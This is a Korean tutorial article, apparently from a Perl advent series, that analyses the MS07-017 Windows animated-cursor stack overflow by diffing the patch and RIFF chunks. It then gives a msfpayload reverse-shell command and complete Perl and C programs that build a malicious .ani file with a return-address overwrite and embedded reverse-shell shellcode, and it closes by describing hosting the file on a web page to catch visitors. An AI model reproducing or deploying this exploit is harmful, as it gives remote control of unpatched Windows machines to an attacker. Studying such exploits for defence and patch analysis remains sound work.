열아홉번째 날: Perl과 해킹 그리고 MS07-017
저자
@vohrmana - C/Perl 프로그래머, 리버싱과 네트워크 해킹에 관심이 많은 언더그라운드 Perler, 현재 Perl 및 보안 관련 강의를 전문적으로 진행하며 Perl 해커 양성(?)에 힘쓰고 있다. 주로 mana라는 닉을 사용한다.
시작하며
해킹이라는 것은 넓은 의미에서는 프로그램을 작성하거나, 코드를 분석하고 개선점을 찾아 고치거나 또는 더 나은 기능을 구현하는 것을 의미하기도 하지만 좁은 의미에서는 목적 시스템의 취약점을 찾아내 루트 권한을 획득하는 것을 의미하기도 합니다. 오늘은 조금은 좁은 의미에서의 해킹에 대해 이야기해볼까 합니다. 원론적으로 취향에 따라 어떤 프로그래밍 언어를 사용해도 상관없겠지만, 역시 해커라면 Perl을 사용하지 않을까요? 아! 물론 저는 당연히 Perl을 사용합니다. ;-)
익스플로잇이 뭔가요?
익스플로잇이 뭔지 영어 사전을 한 번 찾아볼까요?
exploit
- 동사
- (못마땅함) (부당하게) 이용하다
- (못마땅함) 착취하다
- (최대한 잘) 활용하다
- ~ sth (for sth) (사업・산업용으로) 개발하다
- 명사
- (주로 복수로) 위업, 공적
보통 IT 분야에서 익스플로잇이라 함은 소프트웨어의 취약점을 이용해 보안 체계를 뚫거나 네트워크 상의 호스트를 공격하는 프로그램 또는 기법을 의미하며 보통 C나 Perl, Ruby, Python등을 이용해 작성합니다. 보안 관련 공부를 하거나 일을 하면서 네트워크 해킹 도구나 익스플로잇 코드의 상당수가 Perl로 작성되어 있는 것을 심심찮게 보곤하는데 보안과 해킹에 관심이 많다면 Perl과 같은 스크립트 언어를 능숙하게 익혀두는 것은 어쩌면 선택이 아니라 필수란 생각이 듭니다.
MS07-017은 또 뭔가요?
MS07-017 취약점 패치는 마이크로소프트 윈도우즈에서 2007년도에 발생한 17번째 취약점 패치로, 사실 상당히 오래된(철지난) 패치입니다. MS07-017을 골라 기사를 작성한 것은 이 패치를 분석하던 당시는 제가 Perl을 처음 접했던 시기인지라 초심으로 돌아가보자는 의미도 있습니다. 물론, 원고 마감에 쫓겨 예전에 리버싱 공부할 때 작성해 둔 문서를 다시 꺼내본 것은 절대 아닙니다. :-)
윈도우즈 애니메이션 커서 원격 코드 실행 취약점
윈도우즈의 커서, 애니메이션 커서 및 아이콘 형식 처리 방식에 원격 코드 실행 취약점이 존재합니다. 공격자는 사용자가 악의적인 웹 사이트를 방문하거나 특수하게 조작된 전자 메일 메시지를 볼 경우 원격 코드 실행을 허용할 수 있는 악의적인 커서 또는 아이콘 파일을 만들어 취약점을 악용할 수 있습니다. 이 취약점을 이용한 공격자는 영향을 받는 시스템을 완전히 제어할 수 있습니다.
피해강도
가장 심각한 취약점을 성공적으로 악용한 경우 공격자는 영향을 받는 시스템을 완전히 제어할 수 있습니다. 공격자가 프로그램을 설치하거나 데이터를 보고, 변경하거나 삭제하고 모든 사용자 권한이 있는 새 계정을 만들 수도 있습니다.
RIFF 파일 형식
윈도우즈 애니메이션 아이콘 파일의 형식으로 RIFF를 사용하고 있는데 RIFF는 Resource Interchange File Format의 약자로 MS에 기반한 응용을 위한 멀티미디어 파일 형식을 위한 틀을 제공하며, 사용자 정의 파일 형식을 RIFF 구조로 둘러쌈으로써 RIFF 파일 형식으로 전환합니다. 즉, MIDI 파일을 RIFF 형식으로 둘러싸면 RIFF MIDI가 됩니다.
Metasploit 프레임워크
metasploit 프레임워크는 취약점을 통한 침투 테스트를 도와주는 여러가지 도구를 모은 프레임워크입니다. 즉, metasploit을 이용하면 익스플로잇을 쉽게 작성할 수 있죠. 침투 테스트를 위한 배포본인 BackTrack 리눅스에 기본적으로 설치되어 있으며, BackTrack3까지는 Perl 기반의 프레임워크 2.0 버전이, BackTrack4부터는 Ruby 기반의 프레임워크 3.0 버전이 설치되어 있습니다. 윈도우즈용 프레임워크도 존재하니 관심있는 분은 확인해보세요.
RIFF 분석
일단 RIFF 파일 형식을 분석하는게 먼저겠죠? 다음은 윈도우즈 애니메이션 아이콘 파일을 헥사 편집기로 얼어본 화면입니다.
색깔 별 데이터의 의미는 다음과 같습니다.
- 붉은색: 데이터 아이디
- 보라색: 뒷 부분의 데이터 영역의 크기
- 노란색: 데이터 영역
알아보기 쉽게 정리하면 다음과 같습니다.
정상적인 애니메이션 커서일 경우 파일 구조는 다음과 같습니다.
1 2 3 4 5 6 7 | RIFF Header Ani Header AniHeader데이터1 AniHeader데이터2 AniHeader데이터3 ... ... |
취약점 패치 분석
이제는 취약점 패치가 어떤 파일을 수정하는지 알아보죠. 우선 패치 이전과 패치 이후의 파일을 준비합니다.
해당 파일을 바이너리 diff 프로그램을 이용해 차이점을 비교합니다.
하나만 확대해서 살펴보죠.
확대한 화면을 보면 어셈블리 언어로 된 코드가 보이는데 이런 코드를 분석해서 해당 패치가 어떤 취약점을 수정하는지 분석해야 합니다.
분석 결과
분석 결과 패치 이전 버전에서는 Ani Header
덩어리를 읽은 후 다음부터
당연히 데이터 덩어리가 나올 줄 알고 처음만 Ani Header
내용을 검사합니다.
그 다음 반복문으로 들어가 덩어리를 하나씩 읽어올 때,
덩어리 인식 정보가 Ani Header
여도 헤더 내용을 검사하지 않습니다.
따라서 첫 번째 Ani Header
만 정상으로 만들어 헤더 내용 검사를 피한 후,
바로 이어서 두 번째 Ani Header
를 만듭니다.
이미 첫 번째 Ani Header
내용 검사를 한 후이므로 반복문에 의해
다음 덩어리가 Ani Header
라고 인식을 해도 헤더 내용을 검사하지 않습니다.
어쨌든 읽은 덩어리가 Ani Header
이므로 해당 로딩 함수를 호출하고,
로딩함수는 이 덩어리를 읽어들입니다.
하지만 이 덩어리는 공격자가 Ani Header
라는 인식정보만 앞부분에 넣은 후,
그 다음부터는 공격을 위해 쓰레기 문자열과 공격 코드를 넣었기 때문에
기본적인 Ani Header
크기만큼만 읽게 작성된 버퍼의 크기를 넘어버립니다.
따라서 이 시점에 스택 오버플로우가 발생하고, 공격자는 이 스택오버플로우를
사용해 심어놓은 공격코드를 실행시킬 수 있게 됩니다.
분석 결과대로 나열해 공식화하면 다음과 같습니다.
RIFF
RIFF_SIZE
ACON
- 정상적인 애니메이션 아이콘에서 추출한
anih_chunk
- 공격에 쓰일
anih_chunk
(오버플로우를 이용하여 반환 주소를 공격 코드 쪽으로 조작)
공격에 쓰일 anih_chunk
데이터는 metasploit을 이용하여 제작합니다.
명령줄에서 다음 명령을 실행합니다.
1 | $ msfpayload win32_reverse LHOST=<addr> P |
각각의 명령은 다음과 같은 의미를 가집니다.
msfpayload
: 여러 종류의 쉘 코드를 작성해주는 툴로 Perl로 작성되어 있음win32_reverse
: 윈도우즈 기반에서 동작하는 리버스 쉘을 생성하겠다는 의미LHOST=<addr>
: 리버스 쉘에서 사용할 IPP
: 생성된 쉘 코드를 Perl 형식으로 제작
다음은 msfpayload
를 실행한 화면입니다.
결국 익스플로잇용 애니메이션 커서일 경우 파일 구조는 다음과 같을 것입니다.
1 2 3 4 5 6 7 8 | RIFF Header Ani Header Ani Header2(조작) Ani헤더인식정보 Chunk Size PADDING(오버플로우 발생) Return Address 실제 Exploit Code |
Let's baking exploit!
공격을 위해 변조한 애니메이션 커서를 만드는 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | #!/usr/bin/env perl use strict; use warnings; my $Padding = 'A' x80; my $Ret_Addr = "\xED\x1E\x97\x7C" ; my $Dummy = 'A' x20; my $Attack_Chunk_Data = $Padding . $Ret_Addr . $Dummy . "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" . "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" . "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" . "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" . "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" . "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" . "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" . "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" . "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" . "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" . "\xc0\xa8\x42\xe4\x66\x68\x10\xe1\x66\x53\x89\xe1\x95\x68\xec\xf9" . "\xaa\x60\x57\xff\xd6\x6a\x10\x51\xcd\xfd\xd0\x66\x6a\x64\x66\x68" . "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" . "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" . "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" . "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" . "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" . "\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0" ; my $szAttack_Chunk = length $Attack_Chunk_Data ; my $szRIFF = 12 + (0x24+8) . ( $szAttack_Chunk + 8); my $RIFF_Header = 'RIFF' . pack ( 'V' , $szRIFF ) . 'ACON' ; my $Attack_Anih = 'anih' . pack ( 'V' , $szAttack_Chunk ) . $Attack_Chunk_Data ; my $Real_Anih = "\x61\x6e\x69\x68\x24\x00\x00\x00\x24\x00\x00\x00" . "\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . "\x04\x00\x00\x00\x01\x00\x00\x00" ; open my $hAni , '>' , 'ms07_017.ani' ; print $hAni $RIFF_Header . $Real_Anih . $Attack_Anih ; close $hAni ; |
뭐랄까? 바이너리 코드가 많아서 그렇지 꽤나 직관적이지 않나요? 거의 분석한 내용 그대로 써나가는 느낌으로 작성했기 때문에 특별히 코드에 대해 더 설명해야 할 부분은 없을 것 같습니다.
이렇게 생성한 파일을 이용해 웹페이지를 만들고 미리 설정한 대로 특정 포트를 열어둡니다.
누군가가 해당 웹페이지를 열면...
아아...
그저 웃지요... ;-)
꼭 Perl로 작성해야 하나요?
물론 그럴리는 없죠. 그래서 Perl로 작성한 코드와 동일한 기능의 프로그램을 C로 작성했습니다. 번잡한 몇 가지의 오류 처리는 생략했다는 점을 유의하세요.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 | #include <stdio.h> #include <stdlib.h> unsigned char Header[] = // ANI Header 12Byte // "\x52\x49\x46\x46\x4f\xdc\x00\x00\x41\x43\x4f\x4e" ; unsigned char FirstChunk[] = // First Chunk 44Byte // "\x61\x6e\x69\x68\x24\x00\x00\x00" "\x24\x00\x00\x00" "\x02\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x04\x00\x00\x00" "\x01\x00\x00\x00" ; unsigned char SecondChunkHeader[] = //Second Chunk Header 8Byte // "\x61\x6e\x69\x68\x87\x01\x00\x00" ; unsigned char Shell[] = // shell size = 287Byte // "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" //1 "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" //2 "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" //3 "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" //4 "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" //5 "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" //6 "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" //7 "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" //8 "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" //9 "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" //10 "\xc0\xa8\x42\xe4\x66\x68\x10\xe1\x66\x53\x89\xe1\x95\x68\xec\xf9" //11 "\xaa\x60\x57\xff\xd6\x6a\x10\x51" "\xcd\xfd" // Original = \x55\xff // Modified = \xcd\xfd // "\xd0\x66\x6a\x64\x66\x68" "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" "\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0" ; int main ( int argc, char **argv) { char payload[455]; char padding[80]; int pointer = 0; // payload unsigned char RET[] = "\xed\x1e\x97\x7c" ; // JMP EDI FILE *f; memset (payload, 0x41, 455); memset (padding, 0x41, 80); memcpy (payload, Header, sizeof (Header) - 1); pointer = sizeof (Header) - 1; memcpy (payload + pointer, FirstChunk, sizeof (FirstChunk) - 1); pointer += sizeof (FirstChunk) - 1; memcpy (payload + pointer, SecondChunkHeader, sizeof (SecondChunkHeader) - 1); pointer += sizeof (SecondChunkHeader) - 1; memcpy (payload + pointer, padding, 80); pointer += 80; memcpy (payload + pointer, RET, 4); pointer += 4; memcpy (payload + pointer, padding, 20); pointer += 20; memcpy (payload + pointer, Shell, sizeof (Shell) - 1); f = fopen ( "07017ex_reverse.ani" , "wb" ); if (!f) { printf ( "[_] Cannot create file\n" ); return EXIT_FAILURE; } fwrite (payload, 1, sizeof (payload), f); fclose (f); return 0; } |
이제 왜 제가 Perl을 사용하는지 아시겠죠? ;-)
정리하며
Perl은 시스템 관리와 프로그램 작성에 널리 사용되는 언어일 뿐만 아니라 앞에서 보았듯이 목적(지금은 익스플로잇 작성? :)에 쉽게 도달할 수 있게 도와주는 강력한 도구입니다. 이런 Perl의 유연함과 강력함이 많은 해커들을 매료시키지 않았을까요? 조금은 에둘러 왔지만, 단지 시스템 관리자와 프로그래머만이 Perl을 사용하는 것이 아니란 사실 잊지마세요. ;-)